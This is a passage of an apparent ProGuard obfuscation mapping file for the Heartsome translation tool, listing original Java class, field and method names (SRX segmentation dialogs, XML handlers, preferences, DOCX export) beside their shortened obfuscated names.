getCurSrxName() -> gB + void setEditInitData(java.lang.String) -> cW +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.o: + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + org.eclipse.core.resources.IWorkspaceRoot root -> root + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler handler -> CC + java.lang.String[] systemSrxName -> ajp + org.eclipse.swt.graphics.Cursor cursorWait -> DE + org.eclipse.swt.graphics.Cursor cursorArrow -> DF + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createHelpToolItem(org.eclipse.swt.widgets.Composite) -> s + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initListener() -> initListener + void okPressed() -> okPressed + void editSrx() -> gC + boolean isSystemSrx(java.lang.String) -> ec + java.lang.String[][] getSRXConfigFilesInfo() -> gD + void refreshTable(java.lang.String) -> cX + boolean openSrx(java.lang.String) -> cY + boolean close() -> close + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog) -> a + void access$1(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog) -> b + boolean access$2(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog,java.lang.String) -> a + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler access$3(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog) -> c + boolean access$4(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog,java.lang.String) -> b +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.p: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$10 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.q: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + boolean accept(java.io.File,java.lang.String) -> accept +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.r: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.s: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.t: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.u: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$5$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.v: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$5 this$1 -> DH + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$6 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.w: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$7 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.x: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$8 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.y: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog$9 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.z: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxConfigurationDialog this$0 -> DG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.aa: + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.swt.widgets.Text nameTxt -> Cg + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + java.util.List langRulesList -> Dh + boolean isAdd -> Cd + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler handler -> CC + java.lang.String srxLocation -> Dq + java.lang.String curLanguageRuleName -> DI + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createTable(org.eclipse.swt.widgets.Composite) -> createTable + void okPressed() -> okPressed + void initListener() -> initListener + void refreshTable(net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean) -> b + void editLangRule() -> gE + java.lang.String buildLangRules(java.lang.String) -> cZ + java.lang.String getCurLanguageRuleName() -> gF + void setEditInitData(java.lang.String) -> cW + java.util.List access$0(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog) -> a + void access$1(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog,net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean) -> a + org.eclipse.jface.viewers.TableViewer access$2(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog) -> b +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ab: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog this$0 -> DJ + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$1$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ac: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$1 this$1 -> DK + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ad: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog this$0 -> DJ + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ae: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog this$0 -> DJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.af: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog this$0 -> DJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ag: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog this$0 -> DJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog$TViewerLabelProvider -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ah: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxLanguageRulesManageDialog this$0 -> DJ + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ai: + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.swt.widgets.Text nameTxt -> Cg + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + java.util.List mapRulesList -> Do + boolean isAdd -> Cd + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler handler -> CC + java.lang.String srxLocation -> Dq + java.lang.String curMapRuleName -> DL + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createTable(org.eclipse.swt.widgets.Composite) -> createTable + void initListener() -> initListener + void refreshTable(net.heartsome.cat.ts.ui.advanced.model.MapRuleBean) -> b + void okPressed() -> okPressed + void editMapRule() -> gG + java.lang.String getCurMapRuleName() -> gH + void setEditInitData(java.lang.String) -> cW + java.lang.String buildLangRules(java.lang.String) -> cZ + java.util.List access$0(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog) -> a + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler access$1(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog) -> b + java.lang.String access$2(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog) -> c + void access$3(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog,net.heartsome.cat.ts.ui.advanced.model.MapRuleBean) -> a + org.eclipse.jface.viewers.TableViewer access$4(net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog) -> d +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.aj: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog this$0 -> DM + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$1$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ak: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$1 this$1 -> DN + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.al: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog this$0 -> DM + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.am: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog this$0 -> DM + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.an: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog this$0 -> DM + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ao: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog this$0 -> DM + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog$TViewerLabelProvider -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.ap: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.SrxMapRulesManageDialog this$0 -> DM + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler -> net.heartsome.cat.ts.ui.advanced.handlers.a: + org.slf4j.Logger LOGGER -> LOGGER + java.util.List getCatalogValueList(java.lang.String) -> da + void deleteCatalog(java.lang.String,java.util.List,java.util.List) -> a + boolean updataDataToXml(java.lang.String,java.lang.String,java.lang.String) -> g + java.util.List getconvertXmlElements(java.lang.String) -> db + java.util.List getAnalysisXmlData(java.lang.String) -> dc + boolean validSrx(java.lang.String) -> dd + boolean validNodeExist(java.lang.String,java.lang.String) -> D + boolean addLanguageRules(java.lang.String,java.lang.String) -> E + boolean addMapRules(java.lang.String,java.lang.String) -> F + java.util.List getLanguageRuleNamesOfSrx_1(java.lang.String) -> de + java.util.List getLanguageRuleNamesOfSrx_2(java.lang.String) -> df + java.util.List getMapRuleNames(java.lang.String) -> dg + java.util.List getLangRulesByName(java.lang.String,java.lang.String) -> G + java.util.List getMapRulesByName(java.lang.String,java.lang.String) -> H + boolean checkLangRuleNameMaped(java.lang.String,java.lang.String) -> I + boolean updateMapRuleLangName(java.lang.String,java.lang.String,java.lang.String) -> h +net.heartsome.cat.ts.ui.advanced.handlers.CatalogManagerHandler -> net.heartsome.cat.ts.ui.advanced.handlers.b: + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.advanced.handlers.SRXConfigrationHandler -> net.heartsome.cat.ts.ui.advanced.handlers.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.advanced.handlers.XmlConverterConfigurationHandler -> net.heartsome.cat.ts.ui.advanced.handlers.d: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.advanced.model.ElementBean -> net.heartsome.cat.ts.ui.advanced.model.a: + java.lang.String name -> name + java.lang.String type -> type + java.lang.String inlineType -> DO + java.lang.String transAttribute -> DP + java.lang.String remainSpace -> DQ + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getType() -> getType + void setType(java.lang.String) -> setType + java.lang.String getInlineType() -> gI + void setInlineType(java.lang.String) -> dh + java.lang.String getTransAttribute() -> gJ + void setTransAttribute(java.lang.String) -> di + java.lang.String getRemainSpace() -> gK + void setRemainSpace(java.lang.String) -> dj +net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean -> net.heartsome.cat.ts.ui.advanced.model.b: + java.lang.String isBreak -> DR + java.lang.String preBreak -> preBreak + java.lang.String afterBreak -> DS + java.lang.String getIsBreak() -> gL + void setIsBreak(java.lang.String) -> dk + java.lang.String getPreBreak() -> gM + void setPreBreak(java.lang.String) -> dl + java.lang.String getAfterBreak() -> gN + void setAfterBreak(java.lang.String) -> dm + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.ts.ui.advanced.model.MapRuleBean -> net.heartsome.cat.ts.ui.advanced.model.c: + java.lang.String languageModel -> DT + java.lang.String langRuleName -> DV + java.lang.String getLanguageModel() -> gO + void setLanguageModel(java.lang.String) -> dn + java.lang.String getLangRuleName() -> gP + void setLangRuleName(java.lang.String) -> do + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.ts.ui.advanced.resource.Messages -> net.heartsome.cat.ts.ui.advanced.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.bean.ColorConfigLoader -> net.heartsome.cat.ts.ui.bean.ColorConfigLoader: + org.eclipse.jface.preference.IPreferenceStore pfStore -> NA + net.heartsome.cat.common.bean.ColorConfigBean colorConfigBean -> NB + net.heartsome.cat.ts.ui.bean.ColorConfigLoader instance -> NC + java.lang.String strCurColor -> ND + net.heartsome.cat.ts.ui.bean.ColorConfigLoader init() -> init + void initColor() -> ih + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + void loadColor() -> ii + org.eclipse.swt.graphics.Color getColor(org.eclipse.swt.graphics.Device,java.lang.String) -> a +net.heartsome.cat.ts.ui.bean.IColorPreferenceConstant -> net.heartsome.cat.ts.ui.bean.IColorPreferenceConstant: + java.lang.String PT_COLOR -> PT_COLOR + java.lang.String QT_COLOR -> QT_COLOR + java.lang.String MT_COLOR -> MT_COLOR + java.lang.String TM_MATCH101_COLOR -> TM_MATCH101_COLOR + java.lang.String TM_MATCH100_COLOR -> TM_MATCH100_COLOR + java.lang.String TM_MATCH90_COLOR -> TM_MATCH90_COLOR + java.lang.String TM_MATCH80_COLOR -> TM_MATCH80_COLOR + java.lang.String TM_MATCH70_COLOR -> TM_MATCH70_COLOR + java.lang.String TM_MATCH0_COLOR -> TM_MATCH0_COLOR + java.lang.String DIFFERENCE_FG_COLOR -> DIFFERENCE_FG_COLOR + java.lang.String DIFFERENCE_BG_COLOR -> DIFFERENCE_BG_COLOR + java.lang.String TAG_BG_COLOR -> TAG_BG_COLOR + java.lang.String TAG_FG_COLOR -> TAG_FG_COLOR + java.lang.String WRONG_TAG_COLOR -> WRONG_TAG_COLOR + java.lang.String HIGHLIGHTED_TERM_COLOR -> HIGHLIGHTED_TERM_COLOR +net.heartsome.cat.ts.ui.bean.TranslateParameter -> net.heartsome.cat.ts.ui.bean.TranslateParameter: + net.heartsome.cat.ts.ui.bean.TranslateParameter instance -> Eo + org.eclipse.jface.preference.IPreferenceStore ps -> nP + boolean isAdjustSpacePosition -> Ep + boolean isApplyTmMatch -> Eq + boolean isApplySource -> Er + boolean isSkipNoTransSegment -> Es + boolean isAutoQuickTrans -> Et + org.eclipse.jface.preference.IPreferenceStore machinePs -> alg + net.heartsome.cat.ts.ui.bean.TranslateParameter getInstance() -> getInstance + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + void loadPreferenceValues() -> gR + void setMachinePs(org.eclipse.jface.preference.IPreferenceStore) -> setMachinePs + boolean isIgnoreExactMatch() -> isIgnoreExactMatch + boolean isIgnoreLock() -> isIgnoreLock + boolean isAdjustSpacePosition() -> isAdjustSpacePosition + boolean isApplyTmMatch() -> isApplyTmMatch + boolean isApplySource() -> isApplySource + boolean isSkipNoTransSegment() -> isSkipNoTransSegment + boolean isAutoQuickTrans() -> isAutoQuickTrans +net.heartsome.cat.ts.ui.bean.XliffEditorParameter -> net.heartsome.cat.ts.ui.bean.XliffEditorParameter: + boolean isShowNonpirnttingCharacter -> Sa + org.eclipse.jface.preference.IPreferenceStore ps -> nP + net.heartsome.cat.ts.ui.bean.XliffEditorParameter instance -> Sb + net.heartsome.cat.ts.ui.bean.XliffEditorParameter getInstance() -> getInstance + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + void loadPreferenceValues() -> gR + boolean isShowNonpirnttingCharacter() -> isShowNonpirnttingCharacter + void setShowNonpirnttingCharacter(boolean) -> setShowNonpirnttingCharacter +net.heartsome.cat.ts.ui.composite.DialogLogoCmp -> net.heartsome.cat.ts.ui.composite.DialogLogoCmp: + java.lang.String title -> title + java.lang.String message -> message + org.eclipse.swt.widgets.Label titileLbl -> Eu + org.eclipse.swt.widgets.Label tipTxt -> Ev + org.eclipse.swt.graphics.Image logo -> Ew + org.eclipse.swt.widgets.Composite rightLogoCmp -> Ex + void init() -> init + void setTitle(java.lang.String) -> setTitle + void setMessage(java.lang.String) -> setMessage + void setLogo(org.eclipse.swt.graphics.Image) -> setLogo + void dispose() -> dispose +net.heartsome.cat.ts.ui.composite.LanguageLabelProvider -> net.heartsome.cat.ts.ui.composite.LanguageLabelProvider: + java.util.Map imageCache -> Ey + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + void dispose() -> dispose +net.heartsome.cat.ts.ui.dialog.HelpDialog -> net.heartsome.cat.ts.ui.dialog.HelpDialog: + java.lang.String helpUrl -> Ez + org.eclipse.swt.widgets.ToolItem helpItem -> EA + void setHelpUrl(java.lang.String) -> setHelpUrl + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + java.lang.String access$0(net.heartsome.cat.ts.ui.dialog.HelpDialog) -> a +net.heartsome.cat.ts.ui.dialog.HelpDialog$1 -> net.heartsome.cat.ts.ui.dialog.HelpDialog$1: + net.heartsome.cat.ts.ui.dialog.HelpDialog this$0 -> EB + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.dialog.HelpDialog$2 -> net.heartsome.cat.ts.ui.dialog.HelpDialog$2: + net.heartsome.cat.ts.ui.dialog.HelpDialog this$0 -> EB + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.dialog.InputDialog -> net.heartsome.cat.ts.ui.dialog.InputDialog: + java.lang.String title -> title + java.lang.String message -> message + java.lang.String value -> value + org.eclipse.jface.dialogs.IInputValidator validator -> aib + org.eclipse.swt.widgets.Button okButton -> okButton + org.eclipse.swt.widgets.Text text -> text + org.eclipse.swt.widgets.Text errorMessageText -> aic + java.lang.String errorMessage -> errorMessage + org.eclipse.swt.graphics.Point initLocation -> aid + org.eclipse.swt.graphics.Point initSize -> aie + void buttonPressed(int) -> buttonPressed + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Label getErrorMessageLabel() -> getErrorMessageLabel + org.eclipse.swt.widgets.Button getOkButton() -> getOkButton + org.eclipse.swt.widgets.Text getText() -> getText + org.eclipse.jface.dialogs.IInputValidator getValidator() -> getValidator + java.lang.String getValue() -> getValue + void validateInput() -> validateInput + void setErrorMessage(java.lang.String) -> setErrorMessage + int getInputTextStyle() -> getInputTextStyle + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize +net.heartsome.cat.ts.ui.dialog.InputDialog$1 -> net.heartsome.cat.ts.ui.dialog.InputDialog$1: + net.heartsome.cat.ts.ui.dialog.InputDialog this$0 -> aif + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs -> net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs: + org.eclipse.swt.widgets.Text folderNameField -> Sc + org.eclipse.swt.widgets.Button advancedButton -> advancedButton + org.eclipse.ui.internal.ide.dialogs.CreateLinkedResourceGroup linkedResourceGroup -> Sd + org.eclipse.core.resources.IContainer container -> Se + boolean firstLinkCheck -> Sf + org.eclipse.swt.widgets.Composite linkedResourceParent -> Sg + org.eclipse.swt.widgets.Composite linkedResourceComposite -> Sh + int basicShellHeight -> Si + void computeResult() -> computeResult + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void create() -> create + void createAdvancedControls(org.eclipse.swt.widgets.Composite) -> createAdvancedControls + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createFolderNameGroup(org.eclipse.swt.widgets.Composite) -> ac + org.eclipse.core.resources.IFolder createFolderHandle(java.lang.String) -> eV + org.eclipse.core.resources.IFolder createNewFolder(java.lang.String,java.net.URI) -> a + void handleAdvancedButtonSelect() -> handleAdvancedButtonSelect + boolean isValidContainer() -> nO + void updateStatus(org.eclipse.core.runtime.IStatus) -> updateStatus + void updateStatus(int,java.lang.String) -> e + void validateLinkedResource() -> nP + boolean validateFolderName() -> nQ + void okPressed() -> okPressed + void access$0(net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs) -> a + void access$1(net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs,boolean) -> a + org.eclipse.swt.widgets.Text access$2(net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs) -> b + org.eclipse.core.resources.IContainer access$3(net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs) -> c +net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$1 -> net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$1: + net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs this$0 -> Sj + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$2 -> net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$2: + net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs this$0 -> Sj + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$3 -> net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$3: + net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs this$0 -> Sj + void setValue(java.lang.String) -> setValue + java.lang.String getValue() -> getValue + org.eclipse.core.resources.IResource getResource() -> getResource +net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$4 -> net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$4: + net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs this$0 -> Sj + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$5 -> net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs$5: + net.heartsome.cat.ts.ui.dialog.NewFolderDialogOfHs this$0 -> Sj + java.net.URI val$linkTarget -> Sk + org.eclipse.core.resources.IFolder val$folderHandle -> Sl + void execute(org.eclipse.core.runtime.IProgressMonitor) -> execute +net.heartsome.cat.ts.ui.docx.Activator -> net.heartsome.cat.ts.ui.docx.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.docx.Activator plugin -> Sm + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.docx.Activator getDefault() -> nR + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + java.lang.String getLocation(java.lang.String) -> ft +net.heartsome.cat.ts.ui.docx.ExportDocx -> net.heartsome.cat.ts.ui.docx.b: + int workInterval -> mO + java.lang.String tagRId -> Sn + java.lang.String templeDocx -> So + java.lang.String tagColor -> Sp + java.lang.String srcLang -> srcLang + java.lang.String tgtLang -> SW + java.lang.String docxPath -> Sq + org.eclipse.swt.widgets.Shell shell -> shell + boolean exportComment -> Sr + boolean exportStatus -> Su + java.lang.String documentXmlPath -> Sv + java.lang.String tempFolder -> Sw + java.lang.String docxFolderPath -> Sx + com.ximpleware.VTDNav vn -> vn + com.ximpleware.AutoPilot ap -> m + com.ximpleware.XMLModifier xm -> hk + int columnSUM -> Sy + int FIRST_column_width -> Sz + int SECOND_column_width -> SA + int THRID_column_width -> SB + int FORTH_column_width -> SC + int FIFTH_column_width -> SD + java.lang.String FONTSTR -> alh + org.slf4j.Logger LOGGER -> LOGGER + void initColumnWidth() -> nS + boolean output(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> c + void addTUToTable(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> d + java.lang.String 